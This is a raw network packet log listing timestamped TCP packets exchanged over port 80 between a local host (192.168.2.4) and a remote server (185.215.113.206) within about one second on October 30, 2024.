Oct 30, 2024 06:16:34.629851103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629873991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629920006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629930019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629961014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630012989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630022049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630031109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630042076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630048990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630058050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630095005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630103111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630117893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630127907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630136967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630152941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630160093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630168915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630178928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630189896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630194902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630206108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630213022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630220890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630228996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630244017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630254984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630259991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630270958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630280018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630289078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630309105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630326986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630332947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630342007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630352974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630362034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630390882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630390882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630407095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630417109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630425930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630435944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630448103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630466938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630475044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630482912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630494118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630501986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630528927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630614042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630625010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630635023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630671978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630690098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630700111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630708933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630716085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630723953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630737066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630744934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630757093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630762100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630774975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630779982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630789042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630795002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630810976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630846024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630863905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630873919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630882978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630897045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630903959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630913019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630923033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630933046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630939007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630949974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630955935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.630978107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.630999088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631091118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631100893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631109953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631123066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631129026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631138086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631145000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631176949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631222010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631241083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631246090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631256104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631266117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631275892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631287098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631304026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631318092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631366014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631377935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631387949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631412029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631445885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631455898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631465912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631486893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631493092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631501913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631509066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631509066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631517887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631526947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631531000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631541967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.631550074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631565094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.631591082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.781917095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.781936884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.781954050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.781964064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.781975031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.781987906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.781996012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782011032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782025099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782030106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782042027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782048941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782058954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782066107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782078028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782083988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782093048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782100916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782113075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782119989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782130957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782144070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782151937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782159090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782169104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782176018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782191038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782200098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782211065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782217979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782234907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782243013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782255888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782264948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782274008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782284021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782294035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782306910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782318115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782325029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782335997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782342911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782362938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782372952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782382011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782391071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782399893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782408953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782418966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782426119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782437086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782454014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782459021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782466888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782480955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782495022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782499075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782510996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782516956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782526016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782546043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782562971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782571077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782583952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782594919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782610893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782618999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782634974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782644033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782655954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782670021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782687902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782695055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782706976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782720089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782725096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782733917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782751083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782756090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782764912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782777071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782783985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782794952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782809019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782814980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782826900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782835960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782846928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782860041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782866001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782871962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782881021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782887936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782896042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.782907963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.782923937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.878338099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.883781910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156574011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156596899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156605005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156610012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156624079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156635046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156645060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156749010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.156769991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.156845093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156959057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156970978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156981945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.156999111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157017946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157036066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157043934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157052994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157063007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157071114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157083035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157088041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157099009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157110929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157119989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157135963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157140970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157155037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157164097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157177925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157181978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157192945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157200098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157207966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157223940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157233000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157244921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157259941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157270908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157278061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157290936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157299042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157306910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157315969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157325029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157331944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157341957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157361031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157361031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157371044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157387018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157399893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157414913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157423973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157438040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157447100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157454967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157469988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157476902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157485008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157496929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157505989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157511950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157522917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157530069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157538891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157552958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157557964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157568932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157577038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157586098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157601118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157608986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157618999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157648087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157653093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157661915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157670975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157682896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157704115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157721043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157730103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157738924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157752037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157759905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157769918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157782078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157792091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157805920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157814026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157824039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157834053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157847881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157852888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157871008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157877922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157892942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157896996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157906055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157915115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157932043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157941103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.157983065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157991886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.157999992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158011913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158029079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158047915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158052921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158061981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158071041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158077955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158087015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158093929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158113956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158122063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158143997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158159018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158170938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158185959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:35.158199072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158207893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:35.158221960 CET	80	49758	185.215.113.206	192.168.2.4
